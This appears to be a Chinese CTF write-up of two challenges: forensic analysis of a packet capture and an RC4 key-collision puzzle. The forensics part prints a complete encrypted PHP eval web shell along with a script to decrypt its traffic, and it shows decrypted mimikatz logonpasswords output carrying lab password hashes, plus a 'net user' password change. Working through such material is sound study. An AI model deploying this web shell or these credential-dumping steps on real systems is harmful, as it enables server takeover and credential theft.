问卷就不说了
Ohmypassword
进入流量包 过滤出来
即可看到
追踪第一个流量包即可发现在最后一部分上传了一个php文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?>
|
很容易分析出来用pass传参生成了一个key,然后php://input协议获取post流中的内容,可以返现这个key是用来AES解密的,之后很容易想到过滤出pass关键字
用最后出传入的pass值生成的key,追踪流即可发现生成的key
有了key就可以对post流中的数据流进行解密,脚本如下
| <?php
$post = ""; $key = "09f2d96615775182";
$post=openssl_decrypt($post, "AES128", $key); echo $post; ?>
|
$post即为post流中的内容,也可以使服务器响应返回的内容。接下来就是对找对流量包。这个过程很艰难,因为流量包太多了。最后过滤出http协议在后面一部分找到了对的流量包。第一个在3682的流量包,解密如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| type password1.txt
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 666554 (00000000:000a2bba) Session : Interactive from 1 User Name : 23333 Domain : WIN-OVTH665JQC3 Logon Server : WIN-OVTH665JQC3 Logon Time : 2021/5/3 16:11:10 SID : S-1-5-21-1594512008-2047613387-837257493-1000 msv : [00000003] Primary * Username : 23333 * Domain : WIN-OVTH665JQC3 * LM : 5c651cac55ccdc3cd210ce269f6f8d13 * NTLM : 922ce1a39b00c1d9d929dfd31d9f2c1f * SHA1 : 7a6fdaedc33598705c1690da021bb69d0aaef9c0 tspkg : * Username : 23333 * Domain : WIN-OVTH665JQC3 * Password : EL_PSY_CONGROO wdigest : * Username : 23333 * Domain : WIN-OVTH665JQC3 * Password : EL_PSY_CONGROO kerberos : * Username : 23333 * Domain : WIN-OVTH665JQC3 * Password : EL_PSY_CONGROO ssp : credman :
Authentication Id : 0 ; 666412 (00000000:000a2b2c) Session : Interactive from 1 User Name : 23333 Domain : WIN-OVTH665JQC3 Logon Server : WIN-OVTH665JQC3 Logon Time : 2021/5/3 16:11:10 SID : S-1-5-21-1594512008-2047613387-837257493-1000 msv : [00000003] Primary * Username : 23333 * Domain : WIN-OVTH665JQC3 * LM : 5c651cac55ccdc3cd210ce269f6f8d13 * NTLM : 922ce1a39b00c1d9d929dfd31d9f2c1f * SHA1 : 7a6fdaedc33598705c1690da021bb69d0aaef9c0 tspkg : * Username : 23333 * Domain : WIN-OVTH665JQC3 * Password : EL_PSY_CONGROO wdigest : * Username : 23333 * Domain : WIN-OVTH665JQC3 * Password : EL_PSY_CONGROO kerberos : * Username : 23333 * Domain : WIN-OVTH665JQC3 * Password : EL_PSY_CONGROO ssp : credman :
Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2021/5/3 16:10:57 SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : credman :
Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : WIN-OVTH665JQC3$ Domain : WORKGROUP Logon Server : (null) Logon Time : 2021/5/3 16:10:57 SID : S-1-5-20 msv : tspkg : wdigest : * Username : WIN-OVTH665JQC3$ * Domain : WORKGROUP * Password : (null) kerberos : * Username : win-ovth665jqc3$ * Domain : WORKGROUP * Password : (null) ssp : credman :
Authentication Id : 0 ; 48274 (00000000:0000bc92) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 2021/5/3 16:10:56 SID : msv : tspkg : wdigest : kerberos : ssp : credman :
Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : WIN-OVTH665JQC3$ Domain : WORKGROUP Logon Server : (null) Logon Time : 2021/5/3 16:10:56 SID : S-1-5-18 msv : tspkg : wdigest : * Username : WIN-OVTH665JQC3$ * Domain : WORKGROUP * Password : (null) kerberos : * Username : win-ovth665jqc3$ * Domain : WORKGROUP * Password : (null) ssp : credman :
mimikatz(commandline) # exit Bye!
C:\phpstudy_pro\WWW\TEST\hackable\uploads>
|
第二个流量包位置忘记了,解密后的内容如下
| net user 23333 HACKING_TO_THE_GATE 命令成功完成。
|
由此可得出flag:TSCTF{EL_PSY_CONGROO_HACKING_TO_THE_GATE}
HelloRc4
这题看懂了源码就着实很简单。分析一下源码可以知道。先进行了一个sha256验证,直接拿脚本跑就行了,然后进入到MyPrng类中在下面这个代码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| class MyPrng: def __init__(self): self.state = [i for i in range(256)] self.i = 0 self.j = 0 self.k = 0
def __swap_state(self, a, b): self.state[a], self.state[b] = self.state[b], self.state[a]
def ksa(self, key): j = 0 for i in range(256): j = (j + self.state[i] + ord(key[i % len(key)])) % 256 list.append([i,j]) for p in list: if(p[0]==j and p[1]==i): print(p[0],p[1],i,j,ord(key[i % len(key)])) self.__swap_state(i, j) k = 0 for i in range(256): k = (k - self.state[i] + ord(key[i % len(key)])) % 256 self.__swap_state(i, k)
def prng(self): self.i = (self.i + 1) % 256 self.j = (self.j + self.state[self.i]) % 256 self.k = (self.k + self.state[self.j]) % 256 self.__swap_state(self.i, self.j) self.__swap_state(self.i, self.k)
return self.state[(self.state[self.i] + self.state[self.j] + self.state[self.k]) % 256]
|
我增加了一些注释,再百度一下Rc4原理其实就能看懂。之后看main函数可以发现要求输入key1和key2两个初始密钥,之后利用密钥对同一个明文进行加密,如果两个加密后的密文相同即可输出flag,首先看看key的作用在哪。可以发现key的作用很单一。
所以只需要两个key加密中ord出来的值一样就行了,到这就很简单了,直接构造如下,两个key长度不一样就行了,这样不管怎么样key[]数组取出来的永远是相同字母。
| key1 = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa key2 = aaaaaaaaaaaaaaaaa
|
直接输拿flag